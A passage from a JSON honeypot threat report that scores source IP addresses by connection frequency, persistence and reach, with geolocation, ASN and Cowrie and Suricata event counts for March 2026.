      "threat_score": 49.3,
      "threat_level": "medium",
      "score_components": {
        "frequency": 14.5,
        "persistence": 20.8,
        "diversity": 4,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 28,
        "days_active_30d": 25,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-07T08:59:36.241000+00:00",
        "last_seen_30d": "2026-03-31T07:02:41.895000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 20,
        "Cowrie": 8
      }
    },
    "104.152.52.232": {
      "attack_count": 6,
      "first_seen": "2026-03-09T15:23:52.449Z",
      "last_seen": "2026-03-12T07:45:45.368Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 14987,
      "as_org": "Rethem Hosting LLC",
      "threat_score": 24.1,
      "threat_level": "low",
      "score_components": {
        "frequency": 12.0,
        "persistence": 10.0,
        "diversity": 6,
        "spread": 10,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 16,
        "days_active_30d": 12,
        "ports_targeted_30d": 3,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-09T15:23:52.449000+00:00",
        "last_seen_30d": "2026-03-20T05:04:46.758000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Suricata": 10,
        "Cowrie": 6
      }
    },
    "162.142.125.200": {
      "attack_count": 6,
      "first_seen": "2026-03-14T19:36:23.258Z",
      "last_seen": "2026-03-14T19:37:02.074Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 398324,
      "as_org": "Censys, Inc.",
      "threat_score": 62.1,
      "threat_level": "high",
      "score_components": {
        "frequency": 21.4,
        "persistence": 18.3,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 138,
        "days_active_30d": 22,
        "ports_targeted_30d": 32,
        "honeypots_triggered_30d": 5,
        "first_seen_30d": "2026-03-02T05:09:19+00:00",
        "last_seen_30d": "2026-03-23T00:54:12.230000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Suricata": 84,
        "Honeytrap": 37,
        "ElasticPot": 8,
        "Cowrie": 6,
        "Honeyaml": 3
      }
    },
    "20.65.193.104": {
      "attack_count": 5,
      "first_seen": "2026-03-29T20:15:30.243Z",
      "last_seen": "2026-03-29T20:15:40.612Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.version"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "San Antonio",
      "asn": 8075,
      "as_org": "Microsoft Corporation",
      "threat_score": 45.7,
      "threat_level": "medium",
      "score_components": {
        "frequency": 13.0,
        "persistence": 15.0,
        "diversity": 6,
        "spread": 15,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 20,
        "days_active_30d": 18,
        "ports_targeted_30d": 3,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-03-12T15:03:14.812000+00:00",
        "last_seen_30d": "2026-03-29T20:16:50.427000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Suricata": 14,
        "Cowrie": 5,
        "Dionaea": 1
      }
    },
    "121.142.244.108": {
      "attack_count": 4,
      "first_seen": "2026-03-03T06:34:25.601Z",
      "last_seen": "2026-03-16T07:45:21.891Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": "Gimpo-si",
      "asn": 4766,
      "as_org": "Korea Telecom",
      "threat_score": 15.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 7.8,
        "persistence": 11.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.5
      },
      "reputation_metrics": {
        "total_events_30d": 6,
        "days_active_30d": 14,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-03T06:34:25.601000+00:00",
        "last_seen_30d": "2026-03-16T07:46:29.332000+00:00",
        "days_since_last_seen": 15
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 2
      }
    },
    "14.103.235.143": {
      "attack_count": 4,
      "first_seen": "2026-03-08T13:41:48.358Z",
      "last_seen": "2026-03-08T13:43:48.360Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4811,
      "as_org": "China Telecom Group",
      "threat_score": 5.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 8.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.23
      },
      "reputation_metrics": {
        "total_events_30d": 7,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-08T13:41:48.358000+00:00",
        "last_seen_30d": "2026-03-08T13:54:55.634000+00:00",
        "days_since_last_seen": 23
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 3
      }
    },
    "20.115.99.68": {
      "attack_count": 4,
      "first_seen": "2026-03-15T05:54:04.537Z",
      "last_seen": "2026-03-21T02:59:27.094Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Washington",
      "asn": 8075,
      "as_org": "Microsoft Corporation",
      "threat_score": 17.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 9.0,
        "persistence": 5.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 8,
        "days_active_30d": 7,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-15T05:54:04.537000+00:00",
        "last_seen_30d": "2026-03-21T03:00:30.912000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 4
      }
    },
    "20.127.224.63": {
      "attack_count": 4,
      "first_seen": "2026-03-14T17:45:01.483Z",
      "last_seen": "2026-03-14T17:45:12.095Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Washington",
      "asn": 8075,
      "as_org": "Microsoft Corporation",
      "threat_score": 72.0,
      "threat_level": "high",
      "score_components": {
        "frequency": 16.0,
        "persistence": 22.5,
        "diversity": 16,
        "spread": 20,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 40,
        "days_active_30d": 27,
        "ports_targeted_30d": 8,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-03-04T04:46:08.020000+00:00",
        "last_seen_30d": "2026-03-30T20:10:02.232000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Suricata": 27,
        "Honeytrap": 7,
        "Cowrie": 4,
        "Dionaea": 2
      }
    },
    "66.132.153.122": {
      "attack_count": 4,
      "first_seen": "2026-03-12T00:05:20.877Z",
      "last_seen": "2026-03-12T00:05:38.533Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 398324,
      "as_org": "Censys, Inc.",
      "threat_score": 58.3,
      "threat_level": "medium",
      "score_components": {
        "frequency": 20.8,
        "persistence": 17.5,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 119,
        "days_active_30d": 21,
        "ports_targeted_30d": 32,
        "honeypots_triggered_30d": 7,
        "first_seen_30d": "2026-03-02T16:56:51+00:00",
        "last_seen_30d": "2026-03-22T11:24:03.979000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Suricata": 71,
        "Honeytrap": 31,
        "ConPot": 7,
        "Cowrie": 4,
        "ElasticPot": 3,
        "Dionaea": 2,
        "Sentrypeer": 1
      }
    },
    "91.231.89.146": {
      "attack_count": 4,
      "first_seen": "2026-03-07T16:46:07.848Z",
      "last_seen": "2026-03-28T13:47:27.140Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "France",
      "country_code": "FR",
      "city": "Gravelines",
      "asn": 213412,
      "as_org": "ONYPHE SAS",
      "threat_score": 82.5,
      "threat_level": "critical",
      "score_components": {
        "frequency": 22.5,
        "persistence": 25,
        "diversity": 20,
        "spread": 15,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 179,
        "days_active_30d": 30,
        "ports_targeted_30d": 57,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-03-02T04:58:17.134000+00:00",
        "last_seen_30d": "2026-03-31T20:03:41.800000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 132,
        "Honeytrap": 43,
        "Cowrie": 4
      }
    },
    "109.236.50.102": {
      "attack_count": 3,
      "first_seen": "2026-03-09T06:14:51.554Z",
      "last_seen": "2026-03-09T06:15:53.968Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "admin"
      ],
      "passwords_attempted": [
        "admin"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Netherlands",
      "country_code": "NL",
      "city": null,
      "asn": 60781,
      "as_org": "LeaseWeb Netherlands B.V.",
      "threat_score": 5.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 7.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.27
      },
      "reputation_metrics": {
        "total_events_30d": 5,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-09T06:14:51.554000+00:00",
        "last_seen_30d": "2026-03-09T06:16:54.377000+00:00",
        "days_since_last_seen": 22
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 3,
        "Suricata": 2
      }
    },
    "61.185.96.156": {
      "attack_count": 3,
      "first_seen": "2026-03-15T15:17:17.488Z",
      "last_seen": "2026-03-15T15:19:17.588Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Xi'an",
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 9.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 7.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.47
      },
      "reputation_metrics": {
        "total_events_30d": 6,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-15T15:17:17.488000+00:00",
        "last_seen_30d": "2026-03-15T15:29:20.659000+00:00",
        "days_since_last_seen": 16
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 3,
        "Suricata": 3
      }
    },
    "101.165.200.25": {
      "attack_count": 2,
      "first_seen": "2026-03-13T17:48:08.750Z",
      "last_seen": "2026-03-13T17:48:22.252Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Australia",
      "country_code": "AU",
      "city": "Melbourne",
      "asn": 1221,
      "as_org": "Telstra Limited",
      "threat_score": 7.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.4
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-13T17:48:08.750000+00:00",
        "last_seen_30d": "2026-03-13T17:49:28.377000+00:00",
        "days_since_last_seen": 18
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "121.7.228.35": {
      "attack_count": 2,
      "first_seen": "2026-03-08T04:48:10.447Z",
      "last_seen": "2026-03-08T04:48:23.698Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": "Singapore",
      "asn": 9506,
      "as_org": "Singtel Fibre Broadband",
      "threat_score": 4.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.23
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-08T04:48:10.447000+00:00",
        "last_seen_30d": "2026-03-08T04:49:33.704000+00:00",
        "days_since_last_seen": 23
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "134.199.144.99": {
      "attack_count": 2,
      "first_seen": "2026-03-15T08:29:10.314Z",
      "last_seen": "2026-03-15T08:29:10.318Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Australia",
      "country_code": "AU",
      "city": "Sydney",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 9.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 7.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.47
      },
      "reputation_metrics": {
        "total_events_30d": 6,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-15T08:29:10.314000+00:00",
        "last_seen_30d": "2026-03-15T08:30:19.657000+00:00",
        "days_since_last_seen": 16
      },
      "honeypot_breakdown_30d": {
        "Suricata": 4,
        "Cowrie": 2
      }
    },
    "139.135.40.97": {
      "attack_count": 2,
      "first_seen": "2026-03-06T17:54:00.783Z",
      "last_seen": "2026-03-06T17:54:13.223Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": "Lahore",
      "asn": 9541,
      "as_org": "Cyber Internet Services Pvt Ltd.",
      "threat_score": 3.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.17
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-06T17:54:00.783000+00:00",
        "last_seen_30d": "2026-03-06T17:55:14.243000+00:00",
        "days_since_last_seen": 25
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "139.59.80.66": {
      "attack_count": 2,
      "first_seen": "2026-03-16T09:07:14.386Z",
      "last_seen": "2026-03-16T09:07:14.557Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Bengaluru",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 10.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 7.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.5
      },
      "reputation_metrics": {
        "total_events_30d": 6,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-16T09:07:14.386000+00:00",
        "last_seen_30d": "2026-03-16T09:08:15.384000+00:00",
        "days_since_last_seen": 15
      },
      "honeypot_breakdown_30d": {
        "Suricata": 4,
        "Cowrie": 2
      }
    },
    "170.64.209.237": {
      "attack_count": 2,
      "first_seen": "2026-03-16T15:45:46.248Z",
      "last_seen": "2026-03-16T15:45:46.249Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Australia",
      "country_code": "AU",
      "city": "Sydney",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 10.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 7.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.5
      },
      "reputation_metrics": {
        "total_events_30d": 6,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-16T15:45:46.248000+00:00",
        "last_seen_30d": "2026-03-16T15:46:54.219000+00:00",
        "days_since_last_seen": 15
      },
      "honeypot_breakdown_30d": {
        "Suricata": 4,
        "Cowrie": 2
      }
    },
    "185.242.3.20": {
      "attack_count": 2,
      "first_seen": "2026-03-06T08:32:05.203Z",
      "last_seen": "2026-03-06T08:32:35.774Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Netherlands",
      "country_code": "NL",
      "city": null,
      "asn": 60223,
      "as_org": "Netiface Limited",
      "threat_score": 3.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.17
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-06T08:32:05.203000+00:00",
        "last_seen_30d": "2026-03-06T08:33:45.070000+00:00",
        "days_since_last_seen": 25
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "190.245.254.159": {
      "attack_count": 2,
      "first_seen": "2026-03-04T00:34:09.491Z",
      "last_seen": "2026-03-04T00:34:40.623Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Argentina",
      "country_code": "AR",
      "city": "Mar del Plata",
      "asn": 7303,
      "as_org": "Telecom Argentina S.A.",
      "threat_score": 1.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-04T00:34:09.491000+00:00",
        "last_seen_30d": "2026-03-04T00:35:42.712000+00:00",
        "days_since_last_seen": 27
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "206.81.13.185": {
      "attack_count": 2,
      "first_seen": "2026-03-31T04:19:01.875Z",
      "last_seen": "2026-03-31T04:19:12.084Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "North Bergen",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 17.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-31T04:19:01.875000+00:00",
        "last_seen_30d": "2026-03-31T04:20:17.073000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "217.154.161.50": {
      "attack_count": 2,
      "first_seen": "2026-03-06T10:21:08.820Z",
      "last_seen": "2026-03-06T10:21:39.235Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": null,
      "asn": 8560,
      "as_org": "IONOS SE",
      "threat_score": 3.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.17
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-06T10:21:08.820000+00:00",
        "last_seen_30d": "2026-03-06T10:22:48.431000+00:00",
        "days_since_last_seen": 25
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "222.118.160.173": {
      "attack_count": 2,
      "first_seen": "2026-03-06T12:08:25.205Z",
      "last_seen": "2026-03-06T12:08:38.453Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": "Cheonan",
      "asn": 4766,
      "as_org": "Korea Telecom",
      "threat_score": 2.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.17
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-06T12:08:25.205000+00:00",
        "last_seen_30d": "2026-03-06T12:09:44.364000+00:00",
        "days_since_last_seen": 25
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "39.172.98.211": {
      "attack_count": 2,
      "first_seen": "2026-03-03T19:22:42.047Z",
      "last_seen": "2026-03-03T19:24:42.049Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Jiaxing",
      "asn": 56041,
      "as_org": "China Mobile communications corporation",
      "threat_score": 2.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 7.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 6,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-03T19:22:42.046000+00:00",
        "last_seen_30d": "2026-03-03T19:35:18.314000+00:00",
        "days_since_last_seen": 28
      },
      "honeypot_breakdown_30d": {
        "Suricata": 4,
        "Cowrie": 2
      }
    },
    "59.180.188.184": {
      "attack_count": 2,
      "first_seen": "2026-03-11T11:14:51.236Z",
      "last_seen": "2026-03-11T11:15:04.775Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "India",
      "country_code": "IN",
      "city": null,
      "asn": 17813,
      "as_org": "Mahanagar Telephone Nigam Limited",
      "threat_score": 5.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-11T11:14:51.236000+00:00",
        "last_seen_30d": "2026-03-11T11:16:12.810000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "72.249.60.141": {
      "attack_count": 2,
      "first_seen": "2026-03-14T23:56:06.693Z",
      "last_seen": "2026-03-14T23:56:37.768Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 17378,
      "as_org": "TierPoint, LLC",
      "threat_score": 8.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.47
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-14T23:56:06.693000+00:00",
        "last_seen_30d": "2026-03-14T23:57:47.771000+00:00",
        "days_since_last_seen": 16
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "8.209.204.134": {
      "attack_count": 2,
      "first_seen": "2026-03-17T06:29:45.422Z",
      "last_seen": "2026-03-17T06:30:16.107Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Japan",
      "country_code": "JP",
      "city": "Tokyo",
      "asn": 45102,
      "as_org": "Alibaba US Technology Co., Ltd.",
      "threat_score": 10.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.53
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-17T06:29:45.422000+00:00",
        "last_seen_30d": "2026-03-17T06:31:17.715000+00:00",
        "days_since_last_seen": 14
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "82.65.134.176": {
      "attack_count": 2,
      "first_seen": "2026-03-02T00:14:55.728Z",
      "last_seen": "2026-03-02T00:15:27.282Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "France",
      "country_code": "FR",
      "city": null,
      "asn": 12322,
      "as_org": "Free SAS",
      "threat_score": 1.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-02T00:14:55.728000+00:00",
        "last_seen_30d": "2026-03-02T00:16:29.414000+00:00",
        "days_since_last_seen": 29
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "91.230.168.171": {
      "attack_count": 2,
      "first_seen": "2026-03-04T00:09:12.879Z",
      "last_seen": "2026-03-04T00:09:23.666Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Hillsboro",
      "asn": 213412,
      "as_org": "ONYPHE SAS",
      "threat_score": 87.1,
      "threat_level": "critical",
      "score_components": {
        "frequency": 22.1,
        "persistence": 25,
        "diversity": 20,
        "spread": 20,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 161,
        "days_active_30d": 30,
        "ports_targeted_30d": 60,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-03-02T15:35:19+00:00",
        "last_seen_30d": "2026-03-31T21:58:19.281000+00:00",
        "days_since_last_seen": 0
      },
